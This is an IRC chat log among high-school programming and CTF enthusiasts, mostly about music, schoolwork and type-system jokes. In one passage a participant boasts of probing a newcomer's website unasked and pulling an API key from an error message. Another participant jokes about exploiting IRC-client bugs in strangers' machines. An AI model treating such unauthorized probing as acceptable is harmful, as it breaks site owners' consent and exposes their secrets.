[2014-11-20T02:18:56-0500] <Tamini_> I forgot that for a second.
[2014-11-20T02:18:57-0500] <Tamini_> :P
[2014-11-20T02:19:07-0500] <Tamini_> I love your taste in music to death
[2014-11-20T02:19:19-0500] <nezorg> Big data is awesome :D
[2014-11-20T02:19:22-0500] <~awe> nezorg: right?
[2014-11-20T02:19:29-0500] <nezorg> I actually got to see them live
[2014-11-20T02:19:31-0500] <~awe> bob_twinkles: Kongos is in this playlist. <3
[2014-11-20T02:19:38-0500] <~awe> nezorg: Hm, I'm jealous.
[2014-11-20T02:19:41-0500] <bob_twinkles> yeap
[2014-11-20T02:19:53-0500] <~awe> I got to see a ton of people live though.
[2014-11-20T02:19:59-0500] <~awe> I saw the Foo Fighters live.
[2014-11-20T02:20:03-0500] <~awe> I saw the Arctic Monkeys.
[2014-11-20T02:20:06-0500] <~awe> I saw KONGOS.
[2014-11-20T02:20:10-0500] <~awe> I saw twenty one pilots.
[2014-11-20T02:20:17-0500] <~awe> I saw alt-J.
[2014-11-20T02:20:20-0500] <bob_twinkles> damn that sounds like it would be cool
[2014-11-20T02:20:25-0500] <nezorg> Also I feel like most tech people like indie rock
[2014-11-20T02:20:26-0500] <bob_twinkles> < never been to a live concert =P
[2014-11-20T02:20:36-0500] <~awe> I also really like rap.
[2014-11-20T02:20:37-0500] <bob_twinkles> it's either indie rock or electronic, yeah
[2014-11-20T02:20:50-0500] <bob_twinkles> eh, I can't really get in to rap
[2014-11-20T02:20:59-0500] <bob_twinkles> requires too much listening to code to =P
[2014-11-20T02:21:01-0500] <~awe> Mainstream rap is kind of eh.
[2014-11-20T02:21:23-0500] <Tamini_> bob_twinkles: wait really?
[2014-11-20T02:21:30-0500] <Tamini_> but there's a lot nearby, isn't there?
[2014-11-20T02:21:35-0500] <bob_twinkles> apparently
[2014-11-20T02:21:52-0500] <Tamini_> awe: the only rap I can enjoy is like
[2014-11-20T02:21:55-0500] <Tamini_> hipster korean rap
[2014-11-20T02:21:59-0500] <Tamini_> so that doesn't even count .-.
[2014-11-20T02:22:20-0500] <nezorg> Alright, I've gotta sleep
[2014-11-20T02:22:25-0500] <nezorg> night
[2014-11-20T02:22:34-0500] <bob_twinkles> 'night nezorg 
[2014-11-20T02:23:18-0500] <~awe> http://youtu.be/205K9Pim2oE
[2014-11-20T02:23:22-0500] <~awe> good night, nezorg.
[2014-11-20T02:24:49-0500] <~awe> I love that in most of the videos for the rap music I listen to you can see the artists actually smoking weed.
[2014-11-20T02:24:58-0500] <~awe> Or there's a Freddie Gibbs video where he actually has a brick of cocaine in the video.
[2014-11-20T02:25:12-0500] <bob_twinkles> yeah rappers seem to generally not give a shit
[2014-11-20T02:25:30-0500] <Tamini_> night nezorg
[2014-11-20T02:25:35-0500] <Tamini_> I love how he goes to bed before us
[2014-11-20T02:25:38-0500] <Tamini_> all the time.
[2014-11-20T02:25:43-0500] <bob_twinkles> yeah...
[2014-11-20T02:25:55-0500] <~awe> I hope you watch that video or at least listen to it.
[2014-11-20T02:26:25-0500] <~awe> Oh, this one is also crazy good: http://youtu.be/XcmR8DxuHBA
[2014-11-20T02:26:29-0500] <~awe> Better than that one, even.
[2014-11-20T02:27:15-0500] <bob_twinkles> I listened to most of it
[2014-11-20T02:27:18-0500] <bob_twinkles> that one is better
[2014-11-20T02:27:23-0500] <bob_twinkles> 's not all about that bass =P
[2014-11-20T02:28:00-0500] <~awe> Yeah, not at all.
[2014-11-20T02:28:06-0500] <~awe> The production is an ambient electronic band.
[2014-11-20T02:28:25-0500] <~awe> Or, well, solo artist.
[2014-11-20T02:30:22-0500] <~awe> I picked the first song because of your complaint about code.
[2014-11-20T02:30:29-0500] <~awe> It's pretty much as straight-forward as it gets.
[2014-11-20T02:30:46-0500] <bob_twinkles> actually I think I'd find the second one easier to code to
[2014-11-20T02:30:56-0500] <~awe> Oh, I misread.
[2014-11-20T02:30:56-0500] <bob_twinkles> 'cause there's something happening in the music outside of the vocals
[2014-11-20T02:31:19-0500] <~awe> I read it as it required too much effort to understand
[2014-11-20T02:31:24-0500] <~awe> i.e. to decode
[2014-11-20T02:31:25-0500] <~awe> lol
[2014-11-20T02:31:54-0500] <~awe> Hence, the first song I linked is basically just "We stay trippy 24/7."
[2014-11-20T02:32:45-0500] <bob_twinkles> yeah the problem is that I don't want to have interesting lyrics to think about when I'm trying to focus on OGL state
[2014-11-20T02:33:30-0500] <Tamini_> so, just melody? or
[2014-11-20T02:33:51-0500] <bob_twinkles> uh... I'd go with "equal spectral distribution"
[2014-11-20T02:34:14-0500] <Tamini_> oh, I forgot.
[2014-11-20T02:34:18-0500] <Tamini_> awe doesn't spotify.
[2014-11-20T02:34:37-0500] <~awe> Yeah, I use Rdio.
[2014-11-20T02:34:44-0500] <Tamini_> heh
[2014-11-20T02:34:47-0500] <Tamini_> but money
[2014-11-20T02:36:09-0500] <~awe> Oh my god.
[2014-11-20T02:36:14-0500] <~awe> I'm reading the comments on the Capital Steez track.
[2014-11-20T02:36:30-0500] <~awe> For some background, he committed suicide in December 2013 by jumping off a building after posting about it on Twitter.
[2014-11-20T02:37:04-0500] <~awe> There's a line in the song: ''So can I live? Or is my brother tryin' to gun me down''
[2014-11-20T02:37:26-0500] <~awe> People think it's about another rapper who worked closely with him, Joey Bada$$, preventing him from speaking the truth.
[2014-11-20T02:37:35-0500] <~awe> Someone even went as far as to suggest that Joey may have killed Steez.
[2014-11-20T02:37:45-0500] <~awe> How are they so bad at analysis?
[2014-11-20T02:38:01-0500] <~awe> The line is very obviously active social commentary on black-on-black violence.
[2014-11-20T02:39:02-0500] <bob_twinkles> and this is why humanities classes are hard
[2014-11-20T02:39:05-0500] <~awe> Look at it within the context of the whole song where he's criticizing the status quo.
[2014-11-20T02:39:10-0500] <bob_twinkles> I'ma go get closer to bed
[2014-11-20T02:39:43-0500] <~awe> Good night, bob_twinkles.
[2014-11-20T02:40:52-0500] <Tamini_> lol
[2014-11-20T02:40:53-0500] <Tamini_> good night.
[2014-11-20T02:40:56-0500] <~awe> Or look at immediate context.
[2014-11-20T02:41:02-0500] <~awe> The next line is: "Scuffle a couple of rounds 'til we hear the thunder sound"
[2014-11-20T02:41:03-0500] <Tamini_> I've done half a math problem in the past half hour
[2014-11-20T02:41:05-0500] <Tamini_> what am I doing
[2014-11-20T02:41:20-0500] <~awe> i.e. Fight a bit until someone starts shooting.
[2014-11-20T02:41:32-0500] <~awe> Tamini_: I've completely ignored writing my essay for the night.
[2014-11-20T02:41:47-0500] <Tamini_> aw
[2014-11-20T02:41:54-0500] <Tamini_> are you sure you don't need to do that? :/
[2014-11-20T02:42:04-0500] <Tamini_> wait, lemme switch to phone irccloud after this song
[2014-11-20T02:43:06-0500] <~awe> I'll do it tomorrow.
[2014-11-20T02:43:56-0500] <Tamini_> heh, okay
[2014-11-20T02:44:00-0500] <Tamini_> are you going to stay awake?
[2014-11-20T02:44:06-0500] <~awe> For now.
[2014-11-20T02:44:10-0500] <~awe> I'll sleep eventually.
[2014-11-20T02:44:15-0500] <~awe> I have tomorrow and friday to write the essay.
[2014-11-20T02:44:27-0500] <~awe> And they cancelled my class and the discussion for it for this essay.
[2014-11-20T02:44:32-0500] <~awe> So, it should be fine.
[2014-11-20T02:45:20-0500] <Tamini_> haha
[2014-11-20T02:45:40-0500] <Tamini_> i get to skip half of school friday
[2014-11-20T02:45:44-0500] <Tamini_> so I'm already feeling out of it
[2014-11-20T02:52:12-0500] <~awe> Oh, that's fun.
[2014-11-20T02:53:00-0500] <Tamini_> Yeah.
[2014-11-20T02:53:05-0500] <Tamini_> get to see alok and jacob
[2014-11-20T02:54:24-0500] <~awe> I'm jealous.
[2014-11-20T02:54:30-0500] <Tamini> heh, what are you doing now?
[2014-11-20T02:54:38-0500] <Tamini> and you could always find chances to see them.
[2014-11-20T02:55:17-0500] <~awe> Nothing, really. I'm just kind of here. Getting tired.
[2014-11-20T02:55:29-0500] <~awe> I am a rainbow.
[2014-11-20T02:56:04-0500] <Tamini> oh god
[2014-11-20T02:56:09-0500] <Tamini> you didnt disable that?
[2014-11-20T02:56:19-0500] <~awe> You can disable it client-side.
[2014-11-20T02:56:24-0500] <~awe> Most clients support stripping it.
[2014-11-20T02:56:28-0500] <Tamini> heh.
[2014-11-20T02:56:30-0500] <~awe> Therefore, no reason to disable it server-side.
[2014-11-20T02:56:34-0500] <Tamini> but color!
[2014-11-20T02:56:38-0500] <Tamini> and i guess you're right
[2014-11-20T02:57:08-0500] <~awe> Plus, it's fun.
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[2014-11-20T03:02:48-0500] <~awe> In my client, it doesn't look super hard to read though.
[2014-11-20T03:02:55-0500] <~awe> https://www.dropbox.com/s/q2jf2d434bftxea/Screenshot%202014-11-20%2003.02.53.png?dl=0
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[2014-11-20T09:17:01-0500] <+LittleBobbyTables> Well school's cancelled today
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[2014-11-20T09:44:01-0500] <james> Tam: hi
[2014-11-20T09:44:05-0500] <james> ^*tamini
[2014-11-20T09:44:16-0500] <Tam> hi james :P
[2014-11-20T09:44:28-0500] <james> what are you doing not in class
[2014-11-20T09:44:32-0500] <james> --Tamini
[2014-11-20T09:44:49-0500] <james> (also you should stop stealing my identity)
[2014-11-20T09:45:24-0500] <+LittleBobbyTables> Hi james
[2014-11-20T09:45:39-0500] <james> LittleBobbyTables: why is your name so long
[2014-11-20T09:45:42-0500] <james> so much wasted space
[2014-11-20T09:45:44-0500] <james> augh
[2014-11-20T09:46:08-0500] <+LittleBobbyTables> People have told me it's from some webcomic, but I've never heard of it.
[2014-11-20T09:46:25-0500] <james> fascinating
[2014-11-20T09:46:25-0500] <Tam> we're watching a movie in russian
[2014-11-20T09:46:42-0500] <james> Tam: "wow, you irc during russian?"
[2014-11-20T09:46:47-0500] <james> "do we have a substitute" -- anya
[2014-11-20T09:46:53-0500] <Tam> james: yes
[2014-11-20T09:46:57-0500] <Tam> we have her daughter
[2014-11-20T09:47:15-0500] <+LittleBobbyTables> anya's daughter?
[2014-11-20T09:47:30-0500] <Tam> no, our teacher's daughter >_>
[2014-11-20T09:47:39-0500] <+LittleBobbyTables> Oh ok.
[2014-11-20T09:47:50-0500] <james> she subbed for my history teacher once
[2014-11-20T09:47:55-0500] <james> she appeared very uninterested
[2014-11-20T09:48:29-0500] <Tam> oh she is
[2014-11-20T09:48:36-0500] <Tam> very uninterested
[2014-11-20T09:48:40-0500] <james> indeed
[2014-11-20T09:48:41-0500] <Tam> she literally doesn't look at the class
[2014-11-20T09:48:54-0500] <Tam> and she doesn't care what anybody does
[2014-11-20T09:48:57-0500] james is now known as j
[2014-11-20T09:49:01-0500] <j> wow one character nickname
[2014-11-20T09:49:02-0500] <Tam> one time half of the class just left
[2014-11-20T09:49:03-0500] <j> so edgy rite
[2014-11-20T09:49:14-0500] j is now known as james
[2014-11-20T09:49:17-0500] <james> meh, too weird
[2014-11-20T09:49:25-0500] <Tam> lol
[2014-11-20T09:49:39-0500] <+LittleBobbyTables> Now you need no length nicknames.
[2014-11-20T09:51:16-0500] <james> /nick ""
[2014-11-20T09:53:09-0500] <+LittleBobbyTables> Try it all.
[2014-11-20T10:20:55-0500] <+LittleBobbyTables> Hmm
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[2014-11-20T10:38:55-0500] <+LittleBobbyTables> #tjhsst infiltration, success.
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[2014-11-20T10:48:47-0500] <nezorg> dae constantly have "radar detector" stuck in their head
[2014-11-20T10:50:05-0500] <nezorg> for some reason it pops in my head even when I haven't heard it in a week
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[2014-11-20T11:05:51-0500] <alokpathy> Hi guys
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[2014-11-20T11:30:56-0500] <+LittleBobbyTables> Sup apothy.
[2014-11-20T11:31:07-0500] <+LittleBobbyTables> Were you here to watch me infiltrate #tjhsst?
[2014-11-20T11:33:33-0500] <alokpathy> Sure
[2014-11-20T11:34:08-0500] <+LittleBobbyTables> Well that's all that happened, besides talking about drugs and teaching Tamini.
[2014-11-20T11:34:58-0500] <alokpathy> Darn
[2014-11-20T11:35:02-0500] <alokpathy> Seems like I misseda lot
[2014-11-20T11:36:50-0500] <JacobEdelman> mess around in js can get dangerous
[2014-11-20T11:36:59-0500] <JacobEdelman> https://www.irccloud.com/pastebin/toPtvjWk
[2014-11-20T11:37:13-0500] <JacobEdelman> that just came up when I ran something in the js repl
[2014-11-20T11:37:14-0500] <alokpathy> JacobEdelman: Go to class gosh
[2014-11-20T11:37:20-0500] <JacobEdelman> I'm in class
[2014-11-20T11:37:27-0500] <alokpathy> JacobEdelman: Pay attention
[2014-11-20T11:37:28-0500] <JacobEdelman> indep. study :P
[2014-11-20T11:37:32-0500] <alokpathy> Oh
[2014-11-20T11:37:33-0500] <alokpathy> laem
[2014-11-20T11:37:38-0500] <JacobEdelman> (although I actually do have  i book I should read...)
[2014-11-20T11:37:44-0500] <JacobEdelman> for the indep. study
[2014-11-20T11:38:05-0500] <alokpathy> JacobEdelman: Wait, you have two indep studies, right?
[2014-11-20T11:38:11-0500] <JacobEdelman> yup
[2014-11-20T11:38:17-0500] <alokpathy> JacobEdelman: With who?
[2014-11-20T11:38:37-0500] <JacobEdelman> mr. bugge and mr .connolly
[2014-11-20T11:38:39-0500] <alokpathy> Connolly and Gandhi?
[2014-11-20T11:38:40-0500] <alokpathy> Oh Buggge
[2014-11-20T11:38:41-0500] <alokpathy> okay
[2014-11-20T11:38:51-0500] <alokpathy> What're you doing for Connolly?
[2014-11-20T11:38:51-0500] <JacobEdelman> but I spend both indpened studies physically in mr. connolly's class
[2014-11-20T11:38:59-0500] <JacobEdelman> hscs.io and hsctf :)
[2014-11-20T11:39:04-0500] <alokpathy> Ah
[2014-11-20T11:39:08-0500] <alokpathy> alright
[2014-11-20T11:39:10-0500] <JacobEdelman> (come diyctf, its gonna get really time consuming)
[2014-11-20T11:39:17-0500] <alokpathy> I can tell
[2014-11-20T11:39:45-0500] <JacobEdelman> (and since Its looking like I'm gonna run about 4 events this year... 4 times the work of HSCTF without some time to do it would destroy my life)
[2014-11-20T11:39:56-0500] <alokpathy> 4 events?
[2014-11-20T11:39:58-0500] <alokpathy> DIY
[2014-11-20T11:39:58-0500] <alokpathy> HSCTF
[2014-11-20T11:40:00-0500] <alokpathy> and?
[2014-11-20T11:40:08-0500] <JacobEdelman> that secret conference idea I had
[2014-11-20T11:40:16-0500] <alokpathy> Oh, yeah
[2014-11-20T11:40:19-0500] <JacobEdelman> (ssshhh. don't talk about it here since its still in pre alpha stage)
[2014-11-20T11:40:27-0500] <alokpathy> And what else?
[2014-11-20T11:40:35-0500] <JacobEdelman> hmmm... helping out with outher ctfs I guess?
[2014-11-20T11:40:41-0500] <alokpathy> I see
[2014-11-20T11:40:45-0500] <alokpathy> btw easyctf.com is in like
[2014-11-20T11:40:47-0500] <alokpathy> a weekish
[2014-11-20T11:40:49-0500] <JacobEdelman> wow
[2014-11-20T11:40:50-0500] <JacobEdelman> okay
[2014-11-20T11:40:51-0500] <alokpathy> 9 days I think
[2014-11-20T11:40:55-0500] <alokpathy> they changed their interface
[2014-11-20T11:40:57-0500] <alokpathy> easyctf.com
[2014-11-20T11:41:06-0500] <JacobEdelman> i'll look at it
[2014-11-20T11:41:07-0500] <JacobEdelman> right now
[2014-11-20T11:41:10-0500] <JacobEdelman> I'm gonna work
[2014-11-20T11:41:40-0500] <alokpathy> Have fun
[2014-11-20T11:44:15-0500] <alokpathy> LittleBobbyTables: I need a non-web client to troll TJ
[2014-11-20T11:44:18-0500] <alokpathy> which one do you have?
[2014-11-20T11:44:30-0500] <+LittleBobbyTables> hexchat
[2014-11-20T11:44:45-0500] <+LittleBobbyTables> Small, super easy to setup
[2014-11-20T11:44:55-0500] <alokpathy> Are you trolling them right now?
[2014-11-20T11:45:06-0500] <+LittleBobbyTables> No
[2014-11-20T11:45:16-0500] <+LittleBobbyTables> They're all mostly in class.
[2014-11-20T11:46:01-0500] <alokpathy> Darn
[2014-11-20T11:49:10-0500] <+LittleBobbyTables> I apparently caused drama
[2014-11-20T11:51:01-0500] <alokpathy> How so?
[2014-11-20T11:52:03-0500] <+LittleBobbyTables> Dunno. Apparently the guy interrogating me hates Claudia, and I said I was waiting for her.
[2014-11-20T11:52:39-0500] <alokpathy> Who's Claudia?
[2014-11-20T11:52:41-0500] <alokpathy> Random TJer?
[2014-11-20T11:53:41-0500] <+LittleBobbyTables> Yeah
[2014-11-20T11:53:48-0500] <+LittleBobbyTables> laudiacay in #picoctf
[2014-11-20T11:54:12-0500] <alokpathy> Wasn't she in hsctf too?
[2014-11-20T11:55:02-0500] <+LittleBobbyTables> I don't remember
[2014-11-20T11:59:59-0500] <Tamini> ooh
[2014-11-20T12:00:02-0500] <Tamini> cloud chamber
[2014-11-20T12:00:03-0500] <Tamini> shiny
[2014-11-20T12:02:37-0500] <+LittleBobbyTables> Hmm
[2014-11-20T12:05:35-0500] <+LittleBobbyTables> Yeah, I have nothing important open.
[2014-11-20T12:05:36-0500] <+LittleBobbyTables> BRB
[2014-11-20T12:09:05-0500] <alokpathy> kk
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[2014-11-20T12:23:52-0500] <nezorg> 09:04 < pfoley> who is zorgne, and why are they connected as root from digital ocean??
[2014-11-20T12:23:53-0500] <nezorg> lol
[2014-11-20T12:24:06-0500] <nezorg> …actually that’s a good point
[2014-11-20T12:24:10-0500] <nezorg> why am I connected as root? O_O
[2014-11-20T12:24:40-0500] <+LittleBobbyTables> I forgot to load up my VPN before I auto-joined... Whoops.
[2014-11-20T12:24:55-0500] <+LittleBobbyTables> Hopefully no one noticed lol
[2014-11-20T12:32:40-0500] <~awe> [11:40:19]  <JacobEdelman>	(ssshhh. don't talk about it here since its still in pre alpha stage)
[2014-11-20T12:32:46-0500] <~awe> JacobEdelman: foul beast
[2014-11-20T12:33:26-0500] <~awe> nezorg: >security pro
[2014-11-20T12:33:32-0500] <~awe> nezorg: >runs irc client as root
[2014-11-20T12:33:44-0500] <nezorg> awe: no security is best security
[2014-11-20T12:38:11-0500] <Tamini> lolol
[2014-11-20T12:38:15-0500] <Tamini> nezorg: <3
[2014-11-20T12:38:18-0500] <Tamini> omg we have
[2014-11-20T12:38:26-0500] <Tamini> rolly chairs/tables in commons now
[2014-11-20T12:38:28-0500] <Tamini> 10/10 idea
[2014-11-20T12:38:47-0500] <nezorg> nice :P
[2014-11-20T12:39:32-0500] <nezorg> they seem to have forgotten about me again
[2014-11-20T12:40:22-0500] <Tamini> hehe
[2014-11-20T12:40:30-0500] <Tamini> you might be a bit too forgettable
[2014-11-20T12:40:39-0500] <Tamini> but are you actually running irc as root ._.
[2014-11-20T12:40:55-0500] <~awe> I actually cannot believe that you would do that.
[2014-11-20T12:41:16-0500] <~awe> There's known exploits in IRC clients that allow arbitrary code execution.
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[2014-11-20T12:41:42-0500] Tamini is connecting from uid33458@highgate.irccloud.com 192.184.9.108
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[2014-11-20T12:54:40-0500] <+LittleBobbyTables> In plugins, mostly.
[2014-11-20T12:57:52-0500] <nezorg> fixed
[2014-11-20T12:58:11-0500] <nezorg> note to self: develop full irc client in rust
[2014-11-20T12:59:28-0500] <nezorg> so I can *safely* run my irc client as root :P
[2014-11-20T13:07:17-0500] <nezorg> also:
[2014-11-20T13:07:27-0500] <nezorg> 1. look for vulnerabilities in irc clients
[2014-11-20T13:07:35-0500] <nezorg> 2. exploit them in random people’s
[2014-11-20T13:07:36-0500] <nezorg> 3. ???
[2014-11-20T13:07:38-0500] <nezorg> 4. profit
[2014-11-20T13:07:41-0500] <~awe> Yeah.
[2014-11-20T13:07:42-0500] <~awe> Basically.
[2014-11-20T13:20:58-0500] <~awe> nezorg: dat type safety doe
[2014-11-20T13:21:13-0500] <~awe> We need t-shirts that say "Type Safety is Sexy"
[2014-11-20T13:21:14-0500] <~awe> and stuff.
[2014-11-20T13:21:19-0500] <~awe> I've decided it.
[2014-11-20T13:21:29-0500] <nezorg> is it decidable?
[2014-11-20T13:21:34-0500] <~awe> Yes.
[2014-11-20T13:21:39-0500] <~awe> Also, harr harr.
[2014-11-20T13:50:43-0500] <~awe> Man, I really don't want to write this essay.
[2014-11-20T13:53:54-0500] <nezorg> and I really don’t want to write these english responses
[2014-11-20T13:54:23-0500] <JacobEdelman> we also need a tshirt that says "Types are for people who follow the rules"
[2014-11-20T13:54:39-0500] <JacobEdelman> solution: swap assignments :P
[2014-11-20T13:55:03-0500] <~awe> JacobEdelman: can we make a whole line of type system themed t-shirts?
[2014-11-20T13:55:21-0500] <~awe> I'd be getting the better end of the deal there.
[2014-11-20T13:55:30-0500] <~awe> His responses are probably not a 5-8 page paper.
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[2014-11-20T13:58:30-0500] <nezorg> what’s the paper on
[2014-11-20T13:58:31-0500] <nezorg> ?
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[2014-11-20T14:12:25-0500] <~awe> nezorg: broadly, Literature of the Harlem Renaissance.
[2014-11-20T14:12:42-0500] <~awe> I'm interested in the topic. The issue I have with it is primarily that the teacher is absolutely insane about grading.
[2014-11-20T14:13:11-0500] <~awe> Plus, I'm apparently also not very interested in writing about this topic in general, as much as I am interested in learning about it.
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[2014-11-20T14:21:02-0500] <Tamini> lol
[2014-11-20T14:21:06-0500] <Tamini> awe: print those shirts
[2014-11-20T14:21:09-0500] <Tamini> i would buy then
[2014-11-20T14:21:11-0500] <Tamini> them*
[2014-11-20T14:21:18-0500] <Tamini> wear them to cs competitions
[2014-11-20T14:43:04-0500] <JacobEdelman> and done: https://gist.github.com/JacobEdelman/5db9bccb702f5bbb40d0
[2014-11-20T14:44:56-0500] <JacobEdelman> That is my proposaly
[2014-11-20T14:45:00-0500] <JacobEdelman> *proposal
[2014-11-20T14:45:06-0500] <JacobEdelman> for a programming language
[2014-11-20T14:46:25-0500] <JacobEdelman> awe: the current idea is so simple and flexible that people can choose to program with a strong type system
[2014-11-20T14:46:25-0500] <JacobEdelman> (although compiling and executing are more or less identical right now)
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[2014-11-20T15:12:32-0500] <james> ok the rolling chairs and tables in the techlab 2nd floor commons are the best thing ever
[2014-11-20T15:13:39-0500] <JacobEdelman> wait
[2014-11-20T15:13:44-0500] <JacobEdelman> who is james?
[2014-11-20T15:13:57-0500] <JacobEdelman> are you new james?
[2014-11-20T15:13:58-0500] <james> jwoglom, james woglom, tj 2016
[2014-11-20T15:14:15-0500] <JacobEdelman> ah, so you just joined this irc channell recentely?
[2014-11-20T15:14:32-0500] <james> yeah ashley told me to join
[2014-11-20T15:14:39-0500] <JacobEdelman> ah, good, we need more people
[2014-11-20T15:14:46-0500] <JacobEdelman> how'd you do at pico and hsctf?
[2014-11-20T15:14:56-0500] <james> I didn't do either ;_;
[2014-11-20T15:15:27-0500] <JacobEdelman> awww
[2014-11-20T15:15:48-0500] <JacobEdelman> what stuff are you interested in (cs wise)
[2014-11-20T15:15:49-0500] <james> I want/need to actually do some ctfs and things
[2014-11-20T15:16:06-0500] <JacobEdelman> hmmm, easyctf is coming very soon, you could do that
[2014-11-20T15:16:15-0500] <james> well since i was like 7 or 8 i've done web development stuff
[2014-11-20T15:16:24-0500] <james> then i got into linux and stuff
[2014-11-20T15:16:48-0500] <james> i'm not a super pro programmer but i enjoy that too
[2014-11-20T15:16:53-0500] <JacobEdelman> so, general web app/size making? (or really into linux, aka contributing to linux kernel or using arch)
[2014-11-20T15:17:11-0500] <james> i'm not that into linux, I don't do kernel dev :P
[2014-11-20T15:17:22-0500] <james> i run debian/arch on my systems though
[2014-11-20T15:17:28-0500] <JacobEdelman> nice, I need to do arch
[2014-11-20T15:17:57-0500] <JacobEdelman> (I know a 8th grader who contributed to linux, but it was just some terminology or something, not actual code)
[2014-11-20T15:20:48-0500] <JacobEdelman> james: wait, is your site running off a php server?
[2014-11-20T15:20:51-0500] <JacobEdelman> (at least the main page)
[2014-11-20T15:29:13-0500] <JacobEdelman> james: ewww... you use php
[2014-11-20T15:29:24-0500] <JacobEdelman> james: why????
[2014-11-20T15:30:22-0500] <james> umm i use apache?
[2014-11-20T15:30:27-0500] <james> for my main site
[2014-11-20T15:31:13-0500] <james> the main page doesn't use any php but I have some stuff that requires apache+php lurking in there somewhere
[2014-11-20T15:35:56-0500] <JacobEdelman> hmmmm... okay, well, still theres php all over the metro thing
[2014-11-20T15:36:01-0500] <JacobEdelman> although
[2014-11-20T15:36:04-0500] <JacobEdelman> that is a very pretty site
[2014-11-20T15:38:32-0500] <james> yeah, that site does use PHP
[2014-11-20T15:38:39-0500] <james> but it could really use any backend language
[2014-11-20T15:38:49-0500] <james> all it really does is proxy requests from wmata
[2014-11-20T15:39:05-0500] <james> the frontend does 95% of the work :P
[2014-11-20T15:42:28-0500] <JacobEdelman> umm, you nned to fix the metro thing
[2014-11-20T15:42:49-0500] <JacobEdelman> I'm pming you your api key for the street database thing you use for find closeest now
[2014-11-20T15:43:26-0500] <james> welp, wonderful
[2014-11-20T15:44:15-0500] <JacobEdelman> I feel so much like a haxor
[2014-11-20T15:44:23-0500] <JacobEdelman> I finally got to put my pico skills to use
[2014-11-20T15:44:25-0500] <JacobEdelman> :)
[2014-11-20T15:44:34-0500] <james> :)
[2014-11-20T15:44:42-0500] <james> I don't really care at all that someone stole the api key tho
[2014-11-20T15:45:30-0500] <JacobEdelman> let me have my moment of haxor glory
[2014-11-20T15:47:30-0500] <JacobEdelman> who's interested in using #study right now?
[2014-11-20T15:51:03-0500] Mode is +nt
[2014-11-20T15:52:37-0500] <Tamini> JacobEdelman:
[2014-11-20T15:52:48-0500] <Tamini> what gives you the right to interrogate my friends
[2014-11-20T15:53:00-0500] <JacobEdelman> I interrogate every one who joins this channell
[2014-11-20T15:53:01-0500] <JacobEdelman> also
[2014-11-20T15:53:04-0500] <JacobEdelman> I haxed his site
[2014-11-20T15:53:08-0500] <JacobEdelman> and got an api key
[2014-11-20T15:53:11-0500] <~awe> Hack my site, JacobEdelman.
[2014-11-20T15:53:15-0500] <JacobEdelman> I've tried
[2014-11-20T15:53:23-0500] <JacobEdelman> (well, I've tried some basic stuff anyway_
[2014-11-20T15:53:24-0500] <JacobEdelman> )
[2014-11-20T15:53:46-0500] <~awe> Like what?
[2014-11-20T15:54:33-0500] <Tamini> also JacobEdelman
[2014-11-20T15:54:38-0500] <Tamini> study when i get home pls
[2014-11-20T15:54:43-0500] <Tamini> chill until then <3
[2014-11-20T15:55:02-0500] <Tamini> also JacobEdelman: he's my friend and therefore cool by default
[2014-11-20T15:55:03-0500] <Tamini> be nice
[2014-11-20T15:55:06-0500] <JacobEdelman> awe: your using ghost, right? or some other ready made server?
[2014-11-20T15:55:24-0500] <JacobEdelman> Tamini: oh yeah, his ui stuff is really pretty
[2014-11-20T15:55:36-0500] <Tamini> wait, link me
[2014-11-20T15:55:38-0500] <Tamini> o.o
[2014-11-20T15:55:52-0500] <JacobEdelman> http://metro.wogloms.com
[2014-11-20T15:55:55-0500] <JacobEdelman> thats what I haxed
[2014-11-20T15:56:00-0500] <JacobEdelman> wogloms.com is his main page
[2014-11-20T15:56:08-0500] <Tamini> thats so cute
[2014-11-20T15:56:12-0500] <alokpathy> Oh hi guys I'm here
[2014-11-20T15:56:20-0500] <alokpathy> [walks in]
[2014-11-20T15:56:20-0500] <Tamini> doesnt format on phone tho
[2014-11-20T15:56:24-0500] <Tamini> apothy hello
[2014-11-20T15:56:27-0500] <~awe> JacobEdelman: I'm using Ghost.
[2014-11-20T15:56:30-0500] <Tamini> wanna #study #math later
[2014-11-20T15:56:31-0500] <Tamini> :P
[2014-11-20T15:56:33-0500] <~awe> JacobEdelman: I don't think there's any known exploits in it.
[2014-11-20T15:56:38-0500] <JacobEdelman> awe: I expect not
[2014-11-20T15:58:03-0500] <JacobEdelman> awe: do you update monthly?
[2014-11-20T15:58:10-0500] <JacobEdelman> awe: or autoupdate
[2014-11-20T15:58:10-0500] <~awe> WordPress has tons of known exploits.
[2014-11-20T15:58:19-0500] <JacobEdelman> awe: most are with plugins I think
[2014-11-20T15:58:41-0500] <JacobEdelman> awe: in general exploits that they can fix they will fix, it just may take a week or so and people need to update
[2014-11-20T15:59:08-0500] <JacobEdelman> alokpathy: I haxed Jame's (tamini's freind) website!
[2014-11-20T15:59:11-0500] <JacobEdelman> http://metro.wogloms.com
[2014-11-20T15:59:26-0500] <alokpathy> JacobEdelman: Wait
[2014-11-20T15:59:27-0500] <alokpathy> why?
[2014-11-20T15:59:32-0500] <JacobEdelman> cause I wanted too
[2014-11-20T15:59:35-0500] <JacobEdelman> and it was written in php
[2014-11-20T15:59:46-0500] <JacobEdelman> (the hax is no longer possible since he fixed it)
[2014-11-20T15:59:53-0500] <alokpathy> Um, okay
[2014-11-20T16:00:07-0500] <JacobEdelman> James just joined the irc
[2014-11-20T16:00:13-0500] <JacobEdelman> I figured I'd give him a welcoming hax
[2014-11-20T16:00:14-0500] <JacobEdelman> :P
[2014-11-20T16:00:20-0500] <alokpathy> Hi james
[2014-11-20T16:00:23-0500] <alokpathy> Welcome to pdgn
[2014-11-20T16:00:23-0500] <JacobEdelman> (basicly I used a malformed request and it showed an error with an api key they were using)
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[2014-11-20T16:03:01-0500] <~awe> Anyone know how to disable Google contact sync in Motorola's Android fork?
[2014-11-20T16:03:13-0500] <~awe> nezorg: ?
[2014-11-20T16:07:06-0500] <~awe> Do they disable it?
[2014-11-20T16:10:52-0500] <~awe> They didn't.
[2014-11-20T16:10:53-0500] <~awe> Thank god.
[2014-11-20T16:11:23-0500] <~awe> It's just hidden.
[2014-11-20T16:23:25-0500] <JacobEdelman> Somebody27: sammy, you there?
[2014-11-20T16:50:44-0500] <JacobEdelman> study group starting now
[2014-11-20T16:57:49-0500] <Tamini> will join after food
[2014-11-20T16:59:52-0500] <ubuntor> james: oh hey
[2014-11-20T17:09:09-0500] <Tamini> also:
[2014-11-20T17:09:16-0500] <Tamini> pretty thing happened in multi today
[2014-11-20T17:09:25-0500] <Tamini> https://i.imgur.com/f5ywmaz.jpg
[2014-11-20T17:09:32-0500] <JacobEdelman> ubuntor, james, tamini, study group?
